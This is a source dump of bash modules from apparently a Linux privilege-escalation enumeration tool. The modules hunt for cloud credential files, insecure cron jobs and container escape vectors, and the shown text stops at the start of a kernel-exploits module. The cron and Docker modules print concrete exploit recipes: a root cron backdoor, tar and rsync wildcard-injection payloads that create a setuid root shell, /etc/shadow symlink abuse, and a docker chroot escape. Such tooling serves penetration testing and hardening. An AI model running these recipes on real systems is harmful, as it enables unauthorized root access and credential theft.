449 | gcp_files=$(find "$HOME/.config/gcloud" -type f -name "application_default_credentials.json" -o -name "legacy_credentials" -o -name "*adc.json" 2>/dev/null)
450 | if [ -n "$gcp_files" ]; then
451 | print_critical "Found Google Cloud credential files:"
452 | echo "$gcp_files" | while read -r file; do
453 | if [ -r "$file" ]; then
454 | print_critical " ${RED}→ $file${NC}"
455 | # Check if it contains oauth2_access_token or client_id
456 | if grep -q -E "\"oauth2_access_token\"|\"client_id\"" "$file" 2>/dev/null; then
457 | print_critical " ${RED}→ Contains authentication tokens!${NC}"
458 | fi
459 | fi
460 | done
461 | else
462 | print_success "Google Cloud credentials directory exists but no credential files found."
463 | fi
464 | else
465 | print_success "No Google Cloud credentials directory found."
466 | fi
467 |
468 | # Azure credentials
469 | if [ -d "$HOME/.azure" ]; then
470 | azure_files=$(find "$HOME/.azure" -type f -name "accessTokens.json" -o -name "azureProfile.json" 2>/dev/null)
471 | if [ -n "$azure_files" ]; then
472 | print_critical "Found Azure credential files:"
473 | echo "$azure_files" | while read -r file; do
474 | if [ -r "$file" ]; then
475 | print_critical " ${RED}→ $file${NC}"
476 | # Check for token information
477 | if grep -q -E "\"accessToken\"|\"refreshToken\"" "$file" 2>/dev/null; then
478 | print_critical " ${RED}→ Contains authentication tokens!${NC}"
479 | fi
480 | fi
481 | done
482 | else
483 | print_success "Azure credentials directory exists but no credential files found."
484 | fi
485 | else
486 | print_success "No Azure credentials directory found."
487 | fi
488 | }
489 |
490 | # Main function: run all credential checks
491 | credentials_hunter_main() {
492 | print_title "Credentials Hunter"
493 |
494 | # Check for potentially exposed passwords
495 | check_credential_files
496 |
497 | # Check history files
498 | check_history_files
499 |
500 | # Check for database credentials
501 | check_db_credentials
502 |
503 | # Check for cloud service credentials
504 | check_cloud_credentials
505 |
506 | # Wait for user if wait mode is enabled
507 | wait_for_user
508 | }
509 |
510 | # Call the main function if this script is executed directly
511 | if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
512 | credentials_hunter_main
513 | fi
--------------------------------------------------------------------------------
/modules/exploit_checks/cron_jobs.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Cron Jobs Checker
4 | # Description: Check for insecure cron jobs that can be exploited for privilege escalation
5 | # Author: Jonas Resch
6 |
7 | # Check for writable cron job scripts and directories
8 | check_writable_cron_scripts() {
9 | print_subtitle "Writable Cron Scripts"
10 |
11 | print_info "Searching for writable cron job scripts..."
12 |
13 | # Check standard cron directories
14 | cron_dirs=(
15 | "/etc/cron.d"
16 | "/etc/cron.daily"
17 | "/etc/cron.hourly"
18 | "/etc/cron.weekly"
19 | "/etc/cron.monthly"
20 | "/var/spool/cron"
21 | "/var/spool/cron/crontabs"
22 | )
23 |
24 | # Check if any cron directory is writable
25 | for dir in "${cron_dirs[@]}"; do
26 | if [ -d "$dir" ]; then
27 | if [ -w "$dir" ]; then
28 | print_critical "${RED}Cron directory is writable: $dir${NC}"
29 | print_critical " ${RED}→ You can create a new cron job file here!${NC}"
30 | print_critical " ${RED}→ Example: echo '* * * * * root chmod u+s /bin/bash' > $dir/root-backdoor${NC}"
31 | fi
32 |
33 | # Look for writable cron job scripts
34 | find "$dir" -type f 2>/dev/null | while read -r file; do
35 | if [ -w "$file" ]; then
36 | perms=$(ls -la "$file" | awk '{print $1}')
37 | owner=$(ls -la "$file" | awk '{print $3}')
38 |
39 | print_critical "${RED}Writable cron job: $file${NC} [$perms] [Owner: $owner]"
40 | print_critical " ${RED}→ You can modify this cron job to run your code!${NC}"
41 |
42 | # Get cron job contents
43 | content=$(head -n 5 "$file" 2>/dev/null)
44 | if [ -n "$content" ]; then
45 | print_critical " ${RED}→ Current content (truncated):${NC}"
46 | echo "$content" | while read -r line; do
47 | print_critical " $line"
48 | done
49 | fi
50 | fi
51 | done
52 | fi
53 | done
54 | }
55 |
56 | # Check for cron jobs running as root
57 | check_root_cron_jobs() {
58 | print_subtitle "Root Cron Jobs"
59 |
60 | print_info "Checking for cron jobs running as root..."
61 |
62 | # Check crontab
63 | if [ -r "/etc/crontab" ]; then
64 | print_warning "Checking /etc/crontab for root jobs:"
65 | root_jobs=$(grep -v "^#" /etc/crontab 2>/dev/null | grep -E "root" | grep -Ev "^$")
66 |
67 | if [ -n "$root_jobs" ]; then
68 | echo "$root_jobs" | while read -r job; do
69 | # Extract command from the cron job
70 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
71 |
72 | # Check for wildcards, relative paths, etc.
73 | if echo "$cmd" | grep -q " \* "; then
74 | print_critical "${RED}Cron job with wildcard: $job${NC}"
75 | print_critical " ${RED}→ Wildcard in cron jobs can be exploited:${NC}"
76 | print_critical " ${RED}→ https://www.hackingarticles.in/linux-privilege-escalation-using-wildcard-injection${NC}"
77 | elif ! echo "$cmd" | grep -q "^/"; then
78 | print_critical "${RED}Cron job with relative path: $job${NC}"
79 | print_critical " ${RED}→ Relative paths can be exploited with PATH manipulation${NC}"
80 | else
81 | # Check if the command is writable
82 | if [ -w "$cmd" ]; then
83 | print_critical "${RED}Writable root cron job command: $cmd${NC}"
84 | print_critical " ${RED}→ You can modify this executable to run arbitrary code as root!${NC}"
85 | else
86 | # Check for writable command arguments (scripts, config files)
87 | args=$(echo "$job" | awk '{for(i=8;i<=NF;i++)print $i}')
88 |
89 | for arg in $args; do
90 | # Skip flags/options
91 | if [[ "$arg" == -* ]]; then
92 | continue
93 | fi
94 |
95 | # Skip variable references and redirections
96 | if [[ "$arg" == *\$* ]] || [[ "$arg" == *\<* ]] || [[ "$arg" == *\>* ]]; then
97 | continue
98 | fi
99 |
100 | # Check if argument exists and is writable
101 | if [ -e "$arg" ] && [ -w "$arg" ]; then
102 | print_critical "${RED}Writable root cron job argument: $arg${NC}"
103 | print_critical " ${RED}→ You can modify this file to execute code when the cron job runs!${NC}"
104 | fi
105 | done
106 |
107 | print_warning " ${YELLOW}→ $job${NC}"
108 | fi
109 | fi
110 | done
111 | else
112 | print_success "No root jobs found in /etc/crontab"
113 | fi
114 | fi
115 |
116 | # Check cron.d directory
117 | if [ -d "/etc/cron.d" ]; then
118 | print_warning "Checking /etc/cron.d for root jobs:"
119 |
120 | find /etc/cron.d -type f 2>/dev/null | grep -v ".placeholder" | while read -r cronfile; do
121 | if [ -r "$cronfile" ]; then
122 | root_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "root" | grep -Ev "^$")
123 |
124 | if [ -n "$root_jobs" ]; then
125 | print_warning "Root jobs in $cronfile:"
126 |
127 | echo "$root_jobs" | while read -r job; do
128 | # Extract command from the cron job
129 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
130 |
131 | # Check for wildcards, relative paths, etc.
132 | if echo "$cmd" | grep -q " \* "; then
133 | print_critical "${RED}Cron job with wildcard: $job${NC}"
134 | elif ! echo "$cmd" | grep -q "^/"; then
135 | print_critical "${RED}Cron job with relative path: $job${NC}"
136 | else
137 | # Check if the command is writable
138 | if [ -w "$cmd" ]; then
139 | print_critical "${RED}Writable root cron job command: $cmd${NC}"
140 | else
141 | print_warning " ${YELLOW}→ $job${NC}"
142 | fi
143 | fi
144 | done
145 | fi
146 | fi
147 | done
148 | fi
149 |
150 | # Check root's personal crontab
151 | if [ "$IAMROOT" ] && [ -r "/var/spool/cron/crontabs/root" ]; then
152 | print_warning "Checking root's personal crontab:"
153 |
154 | root_personal_jobs=$(grep -v "^#" /var/spool/cron/crontabs/root 2>/dev/null | grep -Ev "^$")
155 |
156 | if [ -n "$root_personal_jobs" ]; then
157 | echo "$root_personal_jobs" | while read -r job; do
158 | # Extract command (different format from /etc/crontab)
159 | cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
160 |
161 | # Check for wildcards, relative paths, etc.
162 | if echo "$job" | grep -q " \* "; then
163 | print_critical "${RED}Cron job with wildcard: $job${NC}"
164 | elif ! echo "$cmd" | grep -q "^/"; then
165 | print_critical "${RED}Cron job with relative path: $job${NC}"
166 | else
167 | # Check if the command is writable
168 | if [ -w "$cmd" ]; then
169 | print_critical "${RED}Writable root cron job command: $cmd${NC}"
170 | else
171 | print_warning " ${YELLOW}→ $job${NC}"
172 | fi
173 | fi
174 | done
175 | else
176 | print_success "No jobs found in root's personal crontab"
177 | fi
178 | fi
179 | }
180 |
181 | # Check for world-writable scripts called by cron jobs
182 | check_path_hijacking_cron() {
183 | print_subtitle "Cron PATH Hijacking"
184 |
185 | print_info "Checking for cron jobs vulnerable to PATH hijacking..."
186 |
187 | # First, check the PATH settings in crontab
188 | if [ -r "/etc/crontab" ]; then
189 | cron_path=$(grep "^PATH" /etc/crontab 2>/dev/null | cut -d= -f2)
190 |
191 | if [ -n "$cron_path" ]; then
192 | print_warning "Cron PATH in /etc/crontab: ${YELLOW}$cron_path${NC}"
193 |
194 | # Check for writable directories in cron PATH
195 | IFS=':' read -ra path_dirs <<< "$cron_path"
196 | for dir in "${path_dirs[@]}"; do
197 | if [ -d "$dir" ] && [ -w "$dir" ]; then
198 | print_critical "${RED}Writable directory in cron PATH: $dir${NC}"
199 | print_critical " ${RED}→ You can create executables here that will be run by cron jobs!${NC}"
200 | print_critical " ${RED}→ Example: create a script with the same name as a command used by cron${NC}"
201 | fi
202 | done
203 | fi
204 | fi
205 |
206 | # Look for suspicious cron job scripts that use relative paths
207 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
208 |
209 | if [ -n "$all_cron_files" ]; then
210 | echo "$all_cron_files" | while read -r cronfile; do
211 | if [ -r "$cronfile" ]; then
212 | # Use grep to find lines not starting with # and containing an executable
213 | # We'll look for all lines except comments, PATH settings, or empty lines
214 | relative_cmd_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -v "^PATH" | grep -Ev "^\s*$")
215 |
216 | if [ -n "$relative_cmd_jobs" ]; then
217 | # Only print the cronfile header if we find actual suspicious commands
218 | suspicious_found=0
219 |
220 | # Process each line in the cron job file
221 | echo "$relative_cmd_jobs" | while read -r job; do
222 | # Determine the file type to parse it correctly
223 | if echo "$cronfile" | grep -q "/etc/crontab\|/etc/cron.d/"; then
224 | # System crontab format: min hour dom month dow user command
225 | user=$(echo "$job" | awk '{print $6}')
226 | cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
227 | else
228 | # User crontab format: min hour dom month dow command
229 | user="UNKNOWN"
230 | cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
231 | fi
232 |
233 | # Skip entries that don't look like cron jobs (help text, empty lines, etc)
234 | if ! echo "$job" | grep -qE "^[0-9*]"; then
235 | continue
236 | fi
237 |
238 | # Only check commands that appear to be relative paths
239 | if [ -n "$cmd" ] && ! echo "$cmd" | grep -q "^/"; then
240 | # If this is our first suspicious command, print the header
241 | if [ "$suspicious_found" -eq 0 ]; then
242 | print_warning "Cron jobs with relative command paths in ${YELLOW}$cronfile${NC}:"
243 | suspicious_found=1
244 | fi
245 |
246 | if [ "$user" != "UNKNOWN" ]; then
247 | print_warning " ${YELLOW}→ [$user] $job${NC}"
248 | else
249 | print_warning " ${YELLOW}→ $job${NC}"
250 | fi
251 |
252 | print_warning " ${YELLOW}→ Command without absolute path: $cmd${NC}"
253 |
254 | # Try to find the command in the PATH and check if it's writable
255 | command_path=$(which "$cmd" 2>/dev/null)
256 | if [ -n "$command_path" ]; then
257 | if [ -w "$command_path" ]; then
258 | print_critical " ${RED}→ The command $cmd resolves to $command_path, which is writable!${NC}"
259 | else
260 | print_success " → The command $cmd resolves to $command_path (not writable)"
261 | fi
262 | else
263 | print_warning " ${YELLOW}→ The command $cmd was not found in PATH, potential for PATH hijacking${NC}"
264 | fi
265 | fi
266 | done
267 | fi
268 | fi
269 | done
270 | fi
271 | }
272 |
273 | # Check for wildcards in cron jobs that can be exploited
274 | check_wildcard_cron() {
275 | print_subtitle "Wildcard Exploitation"
276 |
277 | print_info "Checking for cron jobs with exploitable wildcards..."
278 |
279 | # Common commands that can be dangerous with wildcards
280 | dangerous_cmds=("tar" "rsync" "chmod" "chown" "rm")
281 |
282 | # Find cron jobs with wildcards
283 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
284 |
285 | if [ -n "$all_cron_files" ]; then
286 | echo "$all_cron_files" | while read -r cronfile; do
287 | if [ -r "$cronfile" ]; then
288 | for cmd in "${dangerous_cmds[@]}"; do
289 | wildcard_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "$cmd .* \*" | grep -Ev "^$")
290 |
291 | if [ -n "$wildcard_jobs" ]; then
292 | print_critical "${RED}Potentially exploitable wildcard in $cronfile:${NC}"
293 |
294 | echo "$wildcard_jobs" | while read -r job; do
295 | print_critical " ${RED}→ $job${NC}"
296 |
297 | # Identify the directory containing the wildcard
298 | job_cmd=$(echo "$job" | sed -E 's/^[^\/]*(\/[^ ]*).*/\1/')
299 | wildcard_dir=$(echo "$job_cmd" | grep -o ".*\*" | sed 's/\*$//')
300 |
301 | # Check if the wildcard directory is writable
302 | if [ -d "$wildcard_dir" ] && [ -w "$wildcard_dir" ]; then
303 | print_critical " ${RED}→ Directory $wildcard_dir is writable!${NC}"
304 |
305 | if echo "$job" | grep -q "tar"; then
306 | print_critical " ${RED}→ Tar wildcard exploitation:${NC}"
307 | print_critical " ${RED}→ cd $wildcard_dir${NC}"
308 | print_critical " ${RED}→ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh${NC}"
309 | print_critical " ${RED}→ echo '' > \"--checkpoint=1\"${NC}"
310 | print_critical " ${RED}→ echo '' > \"--checkpoint-action=exec=sh exploit.sh\"${NC}"
311 | print_critical " ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}"
312 | elif echo "$job" | grep -q "rsync"; then
313 | print_critical " ${RED}→ Rsync wildcard exploitation:${NC}"
314 | print_critical " ${RED}→ cd $wildcard_dir${NC}"
315 | print_critical " ${RED}→ touch \"-e sh -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'\"${NC}"
316 | print_critical " ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}"
317 | elif echo "$job" | grep -q "chmod"; then
318 | print_critical " ${RED}→ Chmod wildcard exploitation:${NC}"
319 | print_critical " ${RED}→ cd $wildcard_dir${NC}"
320 | print_critical " ${RED}→ Identify a critical target like /etc/shadow and create a symlink:${NC}"
321 | print_critical " ${RED}→ ln -s /etc/shadow shadow-link${NC}"
322 | print_critical " ${RED}→ Wait for the cron job to run, potentially changing permissions on /etc/shadow${NC}"
323 | fi
324 | else
325 | print_warning " ${YELLOW}→ Directory $wildcard_dir is not writable${NC}"
326 | fi
327 | done
328 | fi
329 | done
330 | fi
331 | done
332 | fi
333 | }
334 |
335 | # Check for cron files containing credentials
336 | check_cron_credentials() {
337 | print_subtitle "Credentials in Cron Jobs"
338 |
339 | print_info "Checking for credentials in cron job files..."
340 |
341 | # Find credentials in cron files
342 | all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
343 |
344 | if [ -n "$all_cron_files" ]; then
345 | echo "$all_cron_files" | while read -r cronfile; do
346 | if [ -r "$cronfile" ]; then
347 | # Look for various credential patterns
348 | creds=$(grep -i "pass\=\|passwd=\|password=\|pwd=\|secret=\|token=\|credential=" "$cronfile" 2>/dev/null | grep -v "^#")
349 |
350 | if [ -n "$creds" ]; then
351 | print_critical "${RED}Potential credentials found in $cronfile:${NC}"
352 |
353 | echo "$creds" | while read -r line; do
354 | # Try to highlight the credential part
355 | highlighted_line=$(echo "$line" | sed -E "s/(.*(pass|pwd|user|login|cred|key|secret|token).*[=:\"'].*)([^\s\"':]+)([\"':]?.*)/\\1${RED}\\3${NC}\\4/i")
356 | print_critical " ${RED}→ $highlighted_line${NC}"
357 | done
358 | fi
359 | fi
360 | done
361 | fi
362 | }
363 |
364 | # Check for recently modified cron jobs
365 | check_recent_cron_changes() {
366 | print_subtitle "Recent Cron Changes"
367 |
368 | print_info "Checking for recently modified cron jobs (last 7 days)..."
369 |
370 | # Find recently modified cron files
371 | recent_changes=$(find /etc/cron* /var/spool/cron/crontabs -type f -mtime -7 2>/dev/null | grep -v ".placeholder")
372 |
373 | if [ -n "$recent_changes" ]; then
374 | print_warning "${YELLOW}Recently modified cron files:${NC}"
375 |
376 | echo "$recent_changes" | while read -r file; do
377 | mod_time=$(ls -la "$file" | awk '{print $6, $7, $8}')
378 | print_warning " ${YELLOW}→ $file (modified: $mod_time)${NC}"
379 |
380 | # Show file contents if readable
381 | if [ -r "$file" ]; then
382 | content=$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | head -n 5)
383 | if [ -n "$content" ]; then
384 | print_warning " ${YELLOW}→ Content (truncated):${NC}"
385 | echo "$content" | while read -r line; do
386 | print_warning " $line"
387 | done
388 |
389 | # Indicate if there's more content not shown
390 | if [ "$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | wc -l)" -gt 5 ]; then
391 | print_warning " ${YELLOW}→ (more lines not shown)${NC}"
392 | fi
393 | fi
394 | fi
395 | done
396 | else
397 | print_success "No recently modified cron files found"
398 | fi
399 | }
400 |
401 | # Main function to run all cron job checks
402 | cron_job_checks() {
403 | print_title "Cron Jobs"
404 |
405 | # Run all cron job checks
406 | check_writable_cron_scripts
407 | check_root_cron_jobs
408 | check_path_hijacking_cron
409 | check_wildcard_cron
410 | check_cron_credentials
411 | check_recent_cron_changes
412 |
413 | # Wait for user if wait mode is enabled
414 | wait_for_user
415 | }
--------------------------------------------------------------------------------
/modules/exploit_checks/docker_checks.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Docker Environment Checker
4 | # Description: Check for Docker/container environment escape vectors
5 | # Author: Jonas Resch
6 |
7 | # Detect if running inside a container
8 | detect_container() {
9 | print_subtitle "Container Detection"
10 |
11 | print_info "Checking if we're running inside a container..."
12 |
13 | IS_CONTAINER=""
14 | CONTAINER_TYPE=""
15 |
16 | # Check for Docker
17 | if [ -f /.dockerenv ] || grep -q "docker" /proc/1/cgroup 2>/dev/null; then
18 | IS_CONTAINER="1"
19 | CONTAINER_TYPE="Docker"
20 | print_warning "Running inside a ${YELLOW}Docker container${NC}"
21 | # Check for LXC
22 | elif grep -q "lxc" /proc/1/cgroup 2>/dev/null; then
23 | IS_CONTAINER="1"
24 | CONTAINER_TYPE="LXC"
25 | print_warning "Running inside a ${YELLOW}LXC container${NC}"
26 | # Check for SystemD-nspawn
27 | elif grep -q "systemd-nspawn" /proc/1/cgroup 2>/dev/null; then
28 | IS_CONTAINER="1"
29 | CONTAINER_TYPE="systemd-nspawn"
30 | print_warning "Running inside a ${YELLOW}systemd-nspawn container${NC}"
31 | # Check for Kubernetes
32 | elif [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
33 | IS_CONTAINER="1"
34 | CONTAINER_TYPE="Kubernetes"
35 | print_warning "Running inside a ${YELLOW}Kubernetes pod${NC}"
36 | # Other container indicators
37 | elif grep -qi "container=\|docker\|lxc\|pod" /proc/1/environ 2>/dev/null; then
38 | IS_CONTAINER="1"
39 | CONTAINER_TYPE="Unknown"
40 | print_warning "Running inside an ${YELLOW}unknown container type${NC}"
41 | else
42 | print_success "Not running inside a container"
43 | fi
44 |
45 | # Check if we're running in a container with increased privileges
46 | if [ "$IS_CONTAINER" ]; then
47 | # Check for privileged mode
48 | if ls -la /dev 2>/dev/null | grep -q "nvidia"; then
49 | print_critical "${RED}Container appears to be running in privileged mode (nvidia devices exposed)${NC}"
50 | elif ls -la /dev 2>/dev/null | grep -q "sda"; then
51 | print_critical "${RED}Container appears to be running in privileged mode (host devices exposed)${NC}"
52 | elif ip link show 2>/dev/null | grep -q "host0"; then
53 | print_critical "${RED}Container appears to be running with host networking${NC}"
54 | fi
55 |
56 | # Check namespace isolation
57 | if [ -r /proc/1/ns ]; then
58 | readlink /proc/1/ns/* 2>/dev/null | while read -r line; do
59 | if echo "$line" | grep -q "init"; then
60 | print_critical "${RED}Container shares namespace with host! This is insecure.${NC}"
61 | break
62 | fi
63 | done
64 | fi
65 | fi
66 | }
67 |
68 | # Check for Docker group membership
69 | check_docker_group() {
70 | print_subtitle "Docker Group Membership"
71 |
72 | print_info "Checking for users in the docker group..."
73 |
74 | # Check if docker group exists
75 | if grep -q "^docker:" /etc/group 2>/dev/null; then
76 | # Get members of docker group
77 | docker_users=$(grep "^docker:" /etc/group 2>/dev/null | cut -d: -f4 | tr ',' '\n')
78 |
79 | if [ -n "$docker_users" ]; then
80 | print_critical "${RED}Found users in the 'docker' group:${NC}"
81 | echo "$docker_users" | while read -r user; do
82 | if [ -n "$user" ]; then
83 | print_critical " ${RED}→ $user${NC}"
84 | fi
85 | done
86 |
87 | print_critical "${RED}Users in the docker group can escalate to root:${NC}"
88 | print_critical " ${RED}→ docker run -v /:/mnt -it ubuntu chroot /mnt bash${NC}"
89 | else
90 | print_success "No users in the 'docker' group"
91 | fi
92 | else
93 | print_success "Docker group not found on the system"
94 | fi
95 |
96 | # Check if current user can run docker
97 | if command_exists docker && docker ps >/dev/null 2>&1; then
98 | print_critical "${RED}Current user can execute docker commands!${NC}"
99 | print_critical " ${RED}→ This can be used to escalate privileges:${NC}"
100 | print_critical " ${RED}→ docker run -v /:/mnt -it ubuntu chroot /mnt bash${NC}"
101 | fi
102 | }
103 |
104 | # Check for container escape vectors
105 | check_container_escape_vectors() {
106 | print_subtitle "Container Escape Vectors"
107 |
108 | if [ ! "$IS_CONTAINER" ]; then
109 | print_success "Not running in a container, skipping container escape check"
110 | return
111 | fi
112 |
113 | print_info "Checking for container escape vectors..."
114 |
115 | # Check for mounted docker socket
116 | if [ -S /var/run/docker.sock ]; then
117 | print_critical "${RED}Docker socket is mounted inside the container!${NC}"
118 | print_critical " ${RED}→ This allows for easy container escape:${NC}"
119 | print_critical " ${RED}→ Run a container with host root filesystem mounted${NC}"
120 | ls -la /var/run/docker.sock
121 | fi
122 |
123 | # Check for volume mounts that may enable escape
124 | if [ -f /proc/mounts ]; then
125 | suspicious_mounts=$(grep -E "/ |/etc|/proc|/sys|/var/run|/dev" /proc/mounts | grep -v "^overlay")
126 |
127 | if [ -n "$suspicious_mounts" ]; then
128 | print_critical "${RED}Found suspicious mounts that might enable container escape:${NC}"
129 | echo "$suspicious_mounts" | while read -r mount; do
130 | print_critical " ${RED}→ $mount${NC}"
131 | done
132 | fi
133 | fi
134 |
135 | # Check for dangerous capabilities
136 | if command_exists capsh; then
137 | caps=$(capsh --print 2>/dev/null)
138 |
139 | if echo "$caps" | grep -q "cap_sys_admin"; then
140 | print_critical "${RED}Container has CAP_SYS_ADMIN capability!${NC}"
141 | print_critical " ${RED}→ This can be used for container escape:${NC}"
142 | print_critical " ${RED}→ Mount host filesystem and chroot into it${NC}"
143 | fi
144 |
145 | dangerous_caps=("cap_dac_override" "cap_dac_read_search" "cap_chown" "cap_setuid" "cap_setgid" "cap_net_admin" "cap_net_raw" "cap_sys_module" "cap_sys_ptrace")
146 |
147 | for cap in "${dangerous_caps[@]}"; do
148 | if echo "$caps" | grep -q "$cap"; then
149 | print_critical "${RED}Container has $cap capability!${NC}"
150 | fi
151 | done
152 | elif [ -r /proc/self/status ]; then
153 | # Alternative method if capsh isn't available
154 | capeff=$(grep "CapEff:" /proc/self/status 2>/dev/null | cut -d: -f2 | tr -d ' ')
155 |
156 | if [ -n "$capeff" ]; then
157 | # Convert hex to binary and check for specific bits
158 | capeff_dec=$(printf "%d" "0x$capeff" 2>/dev/null)
159 |
160 | # Check for CAP_SYS_ADMIN (bit 21)
161 | if [ "$((($capeff_dec >> 21) & 1))" -eq 1 ]; then
162 | print_critical "${RED}Container has CAP_SYS_ADMIN capability!${NC}"
163 | print_critical " ${RED}→ This can be used for container escape${NC}"
164 | fi
165 | fi
166 | fi
167 |
168 | # Check for CVE-2019-5736 (runc < 1.0-rc6)
169 | if [ -f /bin/sh ] && [ -f /proc/self/exe ]; then
170 | if [ "$CONTAINER_TYPE" = "Docker" ] || [ "$CONTAINER_TYPE" = "Kubernetes" ]; then
171 | # Indirect way to check for potential vulnerability (not 100% accurate)
172 | print_warning "${YELLOW}Container might be vulnerable to CVE-2019-5736 (runc container escape)${NC}"
173 | print_warning " ${YELLOW}→ Affects Docker versions before 18.09.2${NC}"
174 | print_warning " ${YELLOW}→ https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736${NC}"
175 | fi
176 | fi
177 |
178 | # Check for cgroup release_agent escape
179 | if [ -w /proc/sysrq-trigger ] && [ -d /sys/fs/cgroup/notify_on_release ]; then
180 | print_critical "${RED}Container vulnerable to cgroup release_agent escape!${NC}"
181 | print_critical " ${RED}→ https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes${NC}"
182 | fi
183 |
184 | # Check for unprotected kubectl command
185 | if command_exists kubectl && [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
186 | if kubectl auth can-i "*" "*" 2>/dev/null | grep -q "yes"; then
187 | print_critical "${RED}Kubernetes service account has admin privileges!${NC}"
188 | print_critical " ${RED}→ Can be used to escape to other containers or nodes${NC}"
189 | fi
190 | fi
191 | }
192 |
193 | # Check for exposed Docker API
194 | check_exposed_docker_api() {
195 | print_subtitle "Exposed Docker API"
196 |
197 | print_info "Checking for exposed Docker API endpoints..."
198 |
199 | # List of potential Docker API endpoint locations
200 | api_endpoints=(
201 | "unix:///var/run/docker.sock"
202 | "http://localhost:2375"
203 | "http://127.0.0.1:2375"
204 | "http://localhost:2376"
205 | "http://127.0.0.1:2376"
206 | )
207 |
208 | for endpoint in "${api_endpoints[@]}"; do
209 | if [[ "$endpoint" == unix://* ]]; then
210 | # Check for Unix socket
211 | socket_path=$(echo "$endpoint" | sed 's|unix://||')
212 |
213 | if [ -S "$socket_path" ]; then
214 | if [ -r "$socket_path" ] && [ -w "$socket_path" ]; then
215 | print_critical "${RED}Exposed Docker API socket: $socket_path (read/write)${NC}"
216 | print_critical " ${RED}→ This allows full Docker control, leading to host compromise${NC}"
217 | elif [ -r "$socket_path" ]; then
218 | print_warning "${YELLOW}Exposed Docker API socket: $socket_path (readable)${NC}"
219 | print_warning " ${YELLOW}→ This allows Docker information gathering${NC}"
220 | fi
221 | fi
222 | else
223 | # Check for HTTP endpoints
224 | host=$(echo "$endpoint" | cut -d/ -f3 | cut -d: -f1)
225 | port=$(echo "$endpoint" | cut -d: -f3)
226 |
227 | if nc -zw1 "$host" "$port" 2>/dev/null; then
228 | print_critical "${RED}Exposed Docker API endpoint: $endpoint${NC}"
229 | print_critical " ${RED}→ This allows remote Docker control without authentication${NC}"
230 | print_critical " ${RED}→ Exploit: curl -s $endpoint/containers/json | jq .${NC}"
231 | fi
232 | fi
233 | done
234 | }
235 |
236 | # Check for misconfigured Docker
237 | check_docker_configuration() {
238 | print_subtitle "Docker Configuration"
239 |
240 | print_info "Checking for Docker configuration issues..."
241 |
242 | # Check for Docker daemon with disabled security options
243 | if [ -r /etc/docker/daemon.json ]; then
244 | print_warning "Checking Docker daemon configuration..."
245 |
246 | # Look for potentially insecure settings
247 | if grep -q "\"userns-remap\": \"off\"" /etc/docker/daemon.json || \
248 | grep -q "\"no-new-privileges\": false" /etc/docker/daemon.json || \
249 | grep -q "\"selinux-enabled\": false" /etc/docker/daemon.json || \
250 | grep -q "\"apparmor-profile\": \"\"" /etc/docker/daemon.json || \
251 | grep -q "\"insecure-registries\"" /etc/docker/daemon.json; then
252 | print_critical "${RED}Potentially insecure Docker daemon configuration:${NC}"
253 | grep -E "userns-remap|no-new-privileges|selinux-enabled|apparmor-profile|insecure-registries" /etc/docker/daemon.json | while read -r line; do
254 | print_critical " ${RED}→ $line${NC}"
255 | done
256 | else
257 | print_success "Docker daemon configuration appears to be secure"
258 | fi
259 | fi
260 |
261 | # Check for images with known vulnerabilities
262 | if command_exists docker && docker ps >/dev/null 2>&1; then
263 | print_warning "Checking for potentially vulnerable Docker images..."
264 |
265 | # Check for outdated or dangerous base images
266 | outdated_images=$(docker images 2>/dev/null | grep -E "alpine:|debian:|ubuntu:" | grep -E "latest|old|[0-9]{1,2}\.[0-9]{1,2}$")
267 |
268 | if [ -n "$outdated_images" ]; then
269 | print_warning "${YELLOW}Potentially outdated Docker images:${NC}"
270 | echo "$outdated_images" | while read -r line; do
271 | print_warning " ${YELLOW}→ $line${NC}"
272 | done
273 | fi
274 |
275 | # Check for containers running as root (default)
276 | if docker ps --format "{{.Names}}:{{.Image}}" 2>/dev/null | head -n 5 | while read -r container; do
277 | user=$(docker inspect --format "{{.Config.User}}" "$(echo "$container" | cut -d: -f1)" 2>/dev/null)
278 | if [ -z "$user" ] || [ "$user" = "root" ] || [ "$user" = "0" ]; then
279 | print_warning " ${YELLOW}→ Container running as root: $container${NC}"
280 | fi
281 | done; then
282 | print_warning "${YELLOW}Detected containers running as root - this is less secure${NC}"
283 | fi
284 | fi
285 | }
286 |
287 | # Main function to run all Docker environment checks
288 | docker_environment_checks() {
289 | print_title "Docker/Container Environment"
290 |
291 | # Run all Docker/container environment checks
292 | detect_container
293 | check_docker_group
294 | check_container_escape_vectors
295 | check_exposed_docker_api
296 | check_docker_configuration
297 |
298 | # Wait for user if wait mode is enabled
299 | wait_for_user
300 | }
--------------------------------------------------------------------------------
/modules/exploit_checks/kernel_exploits.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
